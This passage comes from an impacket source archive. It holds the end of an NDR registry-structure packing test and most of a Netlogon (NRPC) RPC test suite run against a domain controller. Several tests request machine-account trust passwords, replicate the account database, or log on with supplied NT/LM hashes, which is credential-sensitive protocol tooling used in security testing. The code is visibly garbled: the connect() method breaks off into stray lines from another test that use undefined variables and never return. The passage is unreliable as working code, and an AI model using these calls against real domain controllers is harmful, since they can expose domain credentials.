x00t\x00e\x00m\x00R\x00o\x00o\x00t\x00\x00\x00\xcc\xcc\x14\x00\x14\x00\xbc\xbc\xbc\xbci\xab\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00E\x00d\x00i\x00t\x00i\x00o\x00n\x00I\x00D\x00\x00\x00\x03\x00\x00\x00?\x8b\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00 \x80\x00\x00\x00'
hexdump(baseRegQueryMultipleValues)
request = BaseRegQueryMultipleValues()
item1 = RVALENT()
item1['ve_valuename'] = 'ProductName\x00'
item1['ve_valuelen'] = len('ProductName\x00')
item1['ve_valueptr'] = NULL
item1['ve_type'] = REG_SZ
item2 = RVALENT()
item2['ve_valuename'] = 'SystemRoot\x00'
item2['ve_valuelen'] = len('SystemRoot\x00')
item1['ve_valueptr'] = NULL
item2['ve_type'] = REG_SZ
item3 = RVALENT()
item3['ve_valuename'] = 'EditionID\x00'
item3['ve_valuelen'] = len('EditionID\x00')
item3['ve_valueptr'] = NULL
item3['ve_type'] = REG_SZ
#request['hKey'] = 'A*20'
request['val_listIn'].append(item1)
request['val_listIn'].append(item2)
request['val_listIn'].append(item3)
request['num_vals'] = len(request['val_listIn'])
request['lpvalueBuf'] = list(' '*128)
request['ldwTotsize'] = 128
#request.dumpRaw()
request.changeTransferSyntax(self.NDR64Syntax)
request.fromString(baseRegQueryMultipleValues)
output = request.getData()
print "ORIG: %d, REPACKED: %d" % (len(baseRegQueryMultipleValues), len(output))
print "="*80
print "ORIG"
hexdump(baseRegQueryMultipleValues)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(len(baseRegQueryMultipleValues) == len(output))
def test_16(self):
complexPing = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\xaa\xaa\x92\xeb\x00\x00\x02\x00\x00\x00\xce\xc9\x00\x89\xd1\xd2\xad\x0f\x0f\x9fW\xceN\xf5bN\xb0\x92\x00\x00\x01\x00\x00\x00\xce\xc9\x00\x89\xd1\xd2\xad\x0f'
hexdump(complexPing)
request = ComplexPing()
request.fromString(complexPing)
output = request.getData()
print "ORIG: %d, REPACKED: %d" % (len(complexPing), len(output))
print "="*80
print "ORIG"
hexdump(complexPing)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(len(complexPing) == len(output))
def test_17(self):
#
baseRegQueryValueResponse = '\x00\x00\x02\x00\x00\x00\x00\x00\x04\x00\x02\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x02\x00\x00\x02\x00\x00\x0c\x00\x02\x00\x00\x00\x00\x00\x02\x00\x00\x00'
hexdump(baseRegQueryValueResponse)
baseRegQueryValue= BaseRegQueryValueResponse()
baseRegQueryValue.fromString(baseRegQueryValueResponse)
baseRegQueryValue.dumpRaw()
output = baseRegQueryValue.getData()
print "ORIG: %d, REPACKED: %d" % (len(baseRegQueryValueResponse), len(output))
print "="*80
print "ORIG"
hexdump(baseRegQueryValueResponse)
print "="*80
print "REPACKED"
hexdump(output)
print "="*80
self.assertTrue(baseRegQueryValueResponse == output)
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(NDRTests)
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_nrpc.py 0000600 0000765 0000000 00000114545 12734531507 022756 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
#
# DsrGetDcNameEx2
# DsrGetDcNameEx
# DsrGetDcName
# NetrGetDCName
# NetrGetAnyDCName
# DsrGetSiteName
# DsrGetDcSiteCoverageW
# DsrAddressToSiteNamesW
# DsrAddressToSiteNamesExW
# DsrDeregisterDnsHostRecords
# NetrServerReqChallenge
# NetrServerAuthenticate3
# NetrServerAuthenticate2
# NetrServerAuthenticate
# NetrServerTrustPasswordsGet
# NetrLogonGetCapabilities
# NetrDatabaseDeltas
# NetrDatabaseSync2
# NetrDatabaseSync
# DsrEnumerateDomainTrusts
# NetrEnumerateTrustedDomainsEx
# NetrEnumerateTrustedDomains
# NetrGetForestTrustInformation
# DsrGetForestTrustInformation
# NetrServerGetTrustInfo
# NetrLogonGetTrustRid
# NetrLogonComputeServerDigest
# NetrLogonComputeClientDigest
# NetrLogonSendToSam
# NetrLogonSetServiceBits
# NetrLogonGetTimeServiceParentDomain
# NetrLogonControl2Ex
# NetrLogonControl2
# NetrLogonControl
# NetrLogonUasLogon
# NetrLogonGetDomainInfo
#
# Not yet:
#
# DSRUpdateReadOnlyServerDnsRecords
# NetrServerPasswordGet
# NetrLogonSamLogonEx
# NetrLogonSamLogonWithFlags
# NetrLogonSamLogon
# NetrLogonSamLogoff
# NetrDatabaseRedo
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from struct import pack, unpack
from binascii import unhexlify
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import epm, nrpc
from impacket.dcerpc.v5.dtypes import NULL
from impacket import ntlm
class NRPCTests(unittest.TestCase):
def connect(self):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
#dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.connect()
dce.bind(nrpc.MSRPC_UUID_NRPC)
resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00', '12345678')
resp.dump()
serverChallenge = resp['ServerChallenge']
if self.hashes == '':
ntHash = None
else:
ntHash = unhexlify(self.hashes.split(':')[1])
self.sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, '12345678', serverChallenge, ntHash)
ppp = nrpc.ComputeNetlogonCredential('12345678', self.sessionKey)
try:
resp = nrpc.hNetrServerAuthenticate3(dce, NULL, self.username + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,self.serverName + '\x00',ppp, 0x600FFFFF )
resp.dump()
except Exception, e:
if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
raise
self.clientStoredCredential = pack('L', socket.inet_aton(self.machine))[0]
socketAddress = nrpc.NL_SOCKET_ADDRESS()
socketAddress['lpSockaddr'] = list(str(addr))
socketAddress['iSockaddrLength'] = len(str(addr))
request['SocketAddresses'].append(socketAddress)
resp = dce.request(request)
resp.dump()
def test_hDsrAddressToSiteNamesW(self):
dce, rpctransport = self.connect()
request = nrpc.DsrAddressToSiteNamesW()
request['ComputerName'] = NULL
request['EntryCount'] = 1
addr = nrpc.IPv4Address()
import socket
addr['AddressFamily'] = socket.AF_INET
addr['Port'] = 0
addr['Address'] = unpack('>L', socket.inet_aton(self.machine))[0]
socketAddress = nrpc.NL_SOCKET_ADDRESS()
socketAddress['lpSockaddr'] = list(str(addr))
socketAddress['iSockaddrLength'] = len(str(addr))
request['SocketAddresses'].append(socketAddress)
resp = dce.request(request)
resp.dump()
def test_DsrAddressToSiteNamesExW(self):
dce, rpctransport = self.connect()
request = nrpc.DsrAddressToSiteNamesExW()
request['ComputerName'] = NULL
request['EntryCount'] = 1
addr = nrpc.IPv4Address()
import socket
addr['AddressFamily'] = socket.AF_INET
addr['Port'] = 0
addr['Address'] = unpack('>L', socket.inet_aton(self.machine))[0]
socketAddress = nrpc.NL_SOCKET_ADDRESS()
socketAddress['lpSockaddr'] = list(str(addr))
socketAddress['iSockaddrLength'] = len(str(addr))
request['SocketAddresses'].append(socketAddress)
resp = dce.request(request)
resp.dump()
def test_DsrDeregisterDnsHostRecords(self):
dce, rpctransport = self.connect()
request = nrpc.DsrDeregisterDnsHostRecords()
request['ServerName'] = NULL
request['DnsDomainName'] = 'BETUS\x00'
request['DomainGuid'] = NULL
request['DsaGuid'] = NULL
request['DnsHostName'] = 'BETUS\x00'
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_NetrServerReqChallenge_NetrServerAuthenticate3(self):
dce, rpctransport = self.connect()
request = nrpc.NetrServerReqChallenge()
request['PrimaryName'] = NULL
request['ComputerName'] = self.serverName + '\x00'
request['ClientChallenge'] = '12345678'
resp = dce.request(request)
resp.dump()
serverChallenge = resp['ServerChallenge']
if self.hashes == '':
ntHash = None
else:
ntHash = unhexlify(self.hashes.split(':')[1])
sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, '12345678', serverChallenge, ntHash)
ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
request = nrpc.NetrServerAuthenticate3()
request['PrimaryName'] = NULL
request['AccountName'] = self.username + '\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = self.serverName + '\x00'
request['ClientCredential'] = ppp
request['NegotiateFlags'] = 0x600FFFFF
resp = dce.request(request)
resp.dump()
def test_hNetrServerReqChallenge_hNetrServerAuthenticate3(self):
dce, rpctransport = self.connect()
resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00','12345678' )
resp.dump()
serverChallenge = resp['ServerChallenge']
if self.hashes == '':
ntHash = None
else:
ntHash = unhexlify(self.hashes.split(':')[1])
sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, '12345678', serverChallenge, ntHash)
ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
resp = nrpc.hNetrServerAuthenticate3(dce, NULL,self.username + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
,self.serverName + '\x00', ppp,0x600FFFFF )
resp.dump()
def test_NetrServerReqChallenge_hNetrServerAuthenticate2(self):
dce, rpctransport = self.connect()
request = nrpc.NetrServerReqChallenge()
request['PrimaryName'] = NULL
request['ComputerName'] = self.serverName + '\x00'
request['ClientChallenge'] = '12345678'
resp = dce.request(request)
resp.dump()
serverChallenge = resp['ServerChallenge']
if self.hashes == '':
ntHash = None
else:
ntHash = unhexlify(self.hashes.split(':')[1])
sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, '12345678', serverChallenge, ntHash)
ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
resp = nrpc.hNetrServerAuthenticate2(dce, NULL,self.username + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
,self.serverName + '\x00', ppp,0x600FFFFF )
resp.dump()
def test_hNetrServerReqChallenge_NetrServerAuthenticate2(self):
dce, rpctransport = self.connect()
resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00','12345678' )
resp.dump()
serverChallenge = resp['ServerChallenge']
if self.hashes == '':
ntHash = None
else:
ntHash = unhexlify(self.hashes.split(':')[1])
sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, '12345678', serverChallenge, ntHash)
ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
request = nrpc.NetrServerAuthenticate2()
request['PrimaryName'] = NULL
request['AccountName'] = self.username + '\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = self.serverName + '\x00'
request['ClientCredential'] = ppp
request['NegotiateFlags'] = 0x600FFFFF
resp = dce.request(request)
resp.dump()
def test_NetrServerReqChallenge_NetrServerAuthenticate(self):
dce, rpctransport = self.connect()
request = nrpc.NetrServerReqChallenge()
request['PrimaryName'] = NULL
request['ComputerName'] = self.serverName + '\x00'
request['ClientChallenge'] = '12345678'
resp = dce.request(request)
resp.dump()
serverChallenge = resp['ServerChallenge']
if self.hashes == '':
ntHash = None
else:
ntHash = unhexlify(self.hashes.split(':')[1])
sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, '12345678', serverChallenge, ntHash)
ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
request = nrpc.NetrServerAuthenticate()
request['PrimaryName'] = NULL
request['AccountName'] = self.username + '\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = self.serverName + '\x00'
request['ClientCredential'] = ppp
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
raise
def test_hNetrServerReqChallenge_hNetrServerAuthenticate(self):
dce, rpctransport = self.connect()
resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00','12345678' )
resp.dump()
serverChallenge = resp['ServerChallenge']
if self.hashes == '':
ntHash = None
else:
ntHash = unhexlify(self.hashes.split(':')[1])
sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, '12345678', serverChallenge, ntHash)
ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
resp.dump()
try:
resp = nrpc.hNetrServerAuthenticate(dce, NULL,self.username + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel ,self.serverName + '\x00', ppp)
resp.dump()
except Exception, e:
if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
raise
def test_NetrServerPasswordGet(self):
dce, rpctransport = self.connect()
request = nrpc.NetrServerPasswordGet()
request['PrimaryName'] = NULL
request['AccountName'] = self.username + '\x00'
request['AccountType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = self.serverName + '\x00'
request['Authenticator'] = self.update_authenticator()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_ACCESS_DENIED') < 0:
raise
def test_hNetrServerPasswordGet(self):
dce, rpctransport = self.connect()
try:
resp = nrpc.hNetrServerPasswordGet(dce, NULL, self.username + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel ,self.serverName + '\x00', self.update_authenticator())
resp.dump()
except Exception, e:
if str(e).find('STATUS_ACCESS_DENIED') < 0:
raise
def test_NetrServerTrustPasswordsGet(self):
dce, rpctransport = self.connect()
request = nrpc.NetrServerTrustPasswordsGet()
request['TrustedDcName'] = NULL
request['AccountName'] = self.username + '\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = self.serverName + '\x00'
request['Authenticator'] = self.update_authenticator()
resp = dce.request(request)
resp.dump()
def test_hNetrServerTrustPasswordsGet(self):
dce, rpctransport = self.connect()
resp = nrpc.hNetrServerTrustPasswordsGet(dce, NULL, self.username,nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel ,self.serverName, self.update_authenticator())
resp.dump()
def test_NetrLogonGetDomainInfo(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonGetDomainInfo()
request['ServerName'] = '\x00'*20
request['ComputerName'] = self.serverName + '\x00'
request['Authenticator'] = self.update_authenticator()
request['ReturnAuthenticator']['Credential'] = '\x00'*8
request['ReturnAuthenticator']['Timestamp'] = 0
request['Level'] = 1
request['WkstaBuffer']['tag'] = 1
request['WkstaBuffer']['WorkstationInfo']['DnsHostName'] = NULL
request['WkstaBuffer']['WorkstationInfo']['SiteName'] = NULL
request['WkstaBuffer']['WorkstationInfo']['OsName'] = ''
request['WkstaBuffer']['WorkstationInfo']['Dummy1'] = NULL
request['WkstaBuffer']['WorkstationInfo']['Dummy2'] = NULL
request['WkstaBuffer']['WorkstationInfo']['Dummy3'] = NULL
request['WkstaBuffer']['WorkstationInfo']['Dummy4'] = NULL
resp = dce.request(request)
resp.dump()
def test_hNetrLogonGetDomainInfo(self):
dce, rpctransport = self.connect()
resp = nrpc.hNetrLogonGetDomainInfo(dce,'\x00'*20, self.serverName,self.update_authenticator(), 0, 1)
resp.dump()
def test_NetrLogonGetCapabilities(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonGetCapabilities()
request['ServerName'] = '\x00'*20
request['ComputerName'] = self.serverName + '\x00'
request['Authenticator'] = self.update_authenticator()
request['ReturnAuthenticator']['Credential'] = '\x00'*8
request['ReturnAuthenticator']['Timestamp'] = 0
request['QueryLevel'] = 1
resp = dce.request(request)
resp.dump()
def test_hNetrLogonGetCapabilities(self):
dce, rpctransport = self.connect()
resp = nrpc.hNetrLogonGetCapabilities(dce,'\x00'*20, self.serverName + '\x00',self.update_authenticator(), 0)
resp.dump()
def test_NetrLogonSamLogonEx(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonSamLogonEx()
request['LogonServer'] = '\x00'
request['ComputerName'] = self.serverName + '\x00'
request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
request['LogonInformation']['LogonInteractive']['Identity']['LogonDomainName'] = self.domain
request['LogonInformation']['LogonInteractive']['Identity']['ParameterControl'] = 2 + 2**14 + 2**7 + 2**9 + 2**5 + 2**11
request['LogonInformation']['LogonInteractive']['Identity']['UserName'] = self.username
request['LogonInformation']['LogonInteractive']['Identity']['Workstation'] = ''
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
else:
lmhash = ntlm.LMOWFv1(self.password)
nthash = ntlm.NTOWFv1(self.password)
try:
from Crypto.Cipher import ARC4
except Exception:
print "Warning: You don't have any crypto installed. You need PyCrypto"
print "See http://www.pycrypto.org/"
rc4 = ARC4.new(self.sessionKey)
lmhash = rc4.encrypt(lmhash)
rc4 = ARC4.new(self.sessionKey)
nthash = rc4.encrypt(nthash)
request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = lmhash
request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = nthash
request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
request['ExtraFlags'] = 1
resp = dce.request(request)
resp.dump()
def test_NetrLogonSamLogonWithFlags(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonSamLogonWithFlags()
request['LogonServer'] = '\x00'
request['ComputerName'] = self.serverName + '\x00'
request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
request['LogonInformation']['LogonInteractive']['Identity']['LogonDomainName'] = self.domain
request['LogonInformation']['LogonInteractive']['Identity']['ParameterControl'] = 2 + 2**14 + 2**7 + 2**9 + 2**5 + 2**11
request['LogonInformation']['LogonInteractive']['Identity']['UserName'] = self.username
request['LogonInformation']['LogonInteractive']['Identity']['Workstation'] = ''
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
else:
lmhash = ntlm.LMOWFv1(self.password)
nthash = ntlm.NTOWFv1(self.password)
try:
from Crypto.Cipher import ARC4
except Exception:
print "Warning: You don't have any crypto installed. You need PyCrypto"
print "See http://www.pycrypto.org/"
rc4 = ARC4.new(self.sessionKey)
lmhash = rc4.encrypt(lmhash)
rc4 = ARC4.new(self.sessionKey)
nthash = rc4.encrypt(nthash)
request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = lmhash
request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = nthash
request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
request['Authenticator'] = self.update_authenticator()
request['ReturnAuthenticator']['Credential'] = '\x00'*8
request['ReturnAuthenticator']['Timestamp'] = 0
request['ExtraFlags'] = 0
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_USER') < 0:
raise
def test_NetrLogonSamLogon(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonSamLogon()
request['LogonServer'] = '\x00'
request['ComputerName'] = self.serverName + '\x00'
request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonInteractiveInformation
request['LogonInformation']['LogonInteractive']['Identity']['LogonDomainName'] = self.domain
request['LogonInformation']['LogonInteractive']['Identity']['ParameterControl'] = 2
request['LogonInformation']['LogonInteractive']['Identity']['UserName'] = self.username
request['LogonInformation']['LogonInteractive']['Identity']['Workstation'] = ''
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
else:
lmhash = ntlm.LMOWFv1(self.password)
nthash = ntlm.NTOWFv1(self.password)
try:
from Crypto.Cipher import ARC4
except Exception:
print "Warning: You don't have any crypto installed. You need PyCrypto"
print "See http://www.pycrypto.org/"
rc4 = ARC4.new(self.sessionKey)
lmhash = rc4.encrypt(lmhash)
rc4 = ARC4.new(self.sessionKey)
nthash = rc4.encrypt(nthash)
request['LogonInformation']['LogonInteractive']['LmOwfPassword'] = lmhash
request['LogonInformation']['LogonInteractive']['NtOwfPassword'] = nthash
request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo2
request['Authenticator'] = self.update_authenticator()
request['ReturnAuthenticator']['Credential'] = '\x00'*8
request['ReturnAuthenticator']['Timestamp'] = 0
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_USER') < 0:
raise
def test_NetrDatabaseDeltas(self):
dce, rpctransport = self.connect()
request = nrpc.NetrDatabaseDeltas()
request['PrimaryName'] = '\x00'*20
request['ComputerName'] = self.serverName + '\x00'
request['Authenticator'] = self.update_authenticator()
request['ReturnAuthenticator']['Credential'] = '\x00'*8
request['ReturnAuthenticator']['Timestamp'] = 0
request['DatabaseID'] = 0
#request['DomainModifiedCount'] = 1
request['PreferredMaximumLength'] = 0xffffffff
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NOT_SUPPORTED') < 0:
raise
def test_NetrDatabaseSync2(self):
dce, rpctransport = self.connect()
request = nrpc.NetrDatabaseSync2()
request['PrimaryName'] = '\x00'*20
request['ComputerName'] = self.serverName + '\x00'
request['Authenticator'] = self.update_authenticator()
request['ReturnAuthenticator']['Credential'] = '\x00'*8
request['ReturnAuthenticator']['Timestamp'] = 0
request['DatabaseID'] = 0
request['RestartState'] = nrpc.SYNC_STATE.NormalState
request['SyncContext'] = 0
request['PreferredMaximumLength'] = 0xffffffff
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NOT_SUPPORTED') < 0:
raise
def test_NetrDatabaseSync(self):
dce, rpctransport = self.connect()
request = nrpc.NetrDatabaseSync()
request['PrimaryName'] = '\x00'*20
request['ComputerName'] = self.serverName + '\x00'
request['Authenticator'] = self.update_authenticator()
request['ReturnAuthenticator']['Credential'] = '\x00'*8
request['ReturnAuthenticator']['Timestamp'] = 0
request['DatabaseID'] = 0
request['SyncContext'] = 0
request['PreferredMaximumLength'] = 0xffffffff
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NOT_SUPPORTED') < 0:
raise
def te_NetrDatabaseRedo(self):
dce, rpctransport = self.connect()
request = nrpc.NetrDatabaseRedo()
request['PrimaryName'] = '\x00'*20
request['ComputerName'] = self.serverName + '\x00'
request['Authenticator'] = self.update_authenticator()
request['ReturnAuthenticator']['Credential'] = '\x00'*8
request['ReturnAuthenticator']['Timestamp'] = 0
request['ChangeLogEntry'] = 0
request['ChangeLogEntrySize'] = 0
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NOT_SUPPORTED') < 0:
raise
def test_DsrEnumerateDomainTrusts(self):
dce, rpctransport = self.connect()
request = nrpc.DsrEnumerateDomainTrusts()
request['ServerName'] = NULL
request['Flags'] = 1
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NOT_SUPPORTED') < 0:
raise
def test_NetrEnumerateTrustedDomainsEx(self):
dce, rpctransport = self.connect()
request = nrpc.NetrEnumerateTrustedDomainsEx()
request['ServerName'] = NULL
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NOT_SUPPORTED') < 0:
raise
def test_NetrEnumerateTrustedDomains(self):
dce, rpctransport = self.connect()
request = nrpc.NetrEnumerateTrustedDomains()
request['ServerName'] = NULL
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NOT_SUPPORTED') < 0:
raise
def test_NetrGetForestTrustInformation(self):
dce, rpctransport = self.connect()
request = nrpc.NetrGetForestTrustInformation()
request['ServerName'] = NULL
request['ComputerName'] = self.serverName + '\x00'
request['Authenticator'] = self.update_authenticator()
request['ReturnAuthenticator']['Credential'] = '\x00'*8
request['ReturnAuthenticator']['Timestamp'] = 0
request['Flags'] = 0
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NOT_IMPLEMENTED') < 0:
raise
def test_DsrGetForestTrustInformation(self):
dce, rpctransport = self.connect()
request = nrpc.DsrGetForestTrustInformation()
request['ServerName'] = NULL
request['TrustedDomainName'] = self.domain + '\x00'
request['Flags'] = 0
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:
raise
def test_NetrServerGetTrustInfo(self):
dce, rpctransport = self.connect()
request = nrpc.NetrServerGetTrustInfo()
request['TrustedDcName'] = NULL
request['AccountName'] = self.username+ '\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = self.serverName + '\x00'
request['Authenticator'] = self.update_authenticator()
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:
raise
def test_hNetrServerGetTrustInfo(self):
dce, rpctransport = self.connect()
try:
resp = nrpc.hNetrServerGetTrustInfo(dce, NULL, self.username, nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,self.serverName,self.update_authenticator())
resp.dump()
except Exception, e:
if str(e).find('ERROR_NO_SUCH_DOMAIN') < 0:
raise
def test_NetrLogonGetTrustRid(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonGetTrustRid()
request['ServerName'] = NULL
request['DomainName'] = self.domain+ '\x00'
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_NetrLogonComputeServerDigest(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonComputeServerDigest()
request['ServerName'] = NULL
request['Rid'] = 1001
request['Message'] = 'HOLABETOCOMOANDAS\x00'
request['MessageSize'] = len('HOLABETOCOMOANDAS\x00')
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_NetrLogonComputeClientDigest(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonComputeClientDigest()
request['ServerName'] = NULL
request['DomainName'] = self.domain + '\x00'
request['Message'] = 'HOLABETOCOMOANDAS\x00'
request['MessageSize'] = len('HOLABETOCOMOANDAS\x00')
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_NetrLogonSendToSam(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonSendToSam()
request['PrimaryName'] = NULL
request['ComputerName'] = self.serverName+ '\x00'
request['Authenticator'] = self.update_authenticator()
request['OpaqueBuffer'] = 'HOLABETOCOMOANDAS\x00'
request['OpaqueBufferSize'] = len('HOLABETOCOMOANDAS\x00')
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_ACCESS_DENIED') < 0:
raise
def test_NetrLogonSetServiceBits(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonSetServiceBits()
request['ServerName'] = NULL
request['ServiceBitsOfInterest'] = 1 << 7
request['ServiceBits'] = 1 << 7
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def te_NetrLogonGetTimeServiceParentDomain(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonGetTimeServiceParentDomain()
request['ServerName'] = self.domain + '\x00'
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_NetrLogonControl2Ex(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonControl2Ex()
request['ServerName'] = NULL
request['FunctionCode'] = nrpc.NETLOGON_CONTROL_FIND_USER
request['QueryLevel'] = 4
request['Data']['tag'] = 8
request['Data']['UserName'] = 'normaluser7\x00'
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_NetrLogonControl2(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonControl2()
request['ServerName'] = NULL
request['FunctionCode'] = nrpc.NETLOGON_CONTROL_FIND_USER
request['QueryLevel'] = 4
request['Data']['tag'] = 8
request['Data']['UserName'] = 'normaluser7\x00'
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_NetrLogonControl(self):
dce, rpctransport = self.connect()
request = nrpc.NetrLogonControl()
request['ServerName'] = NULL
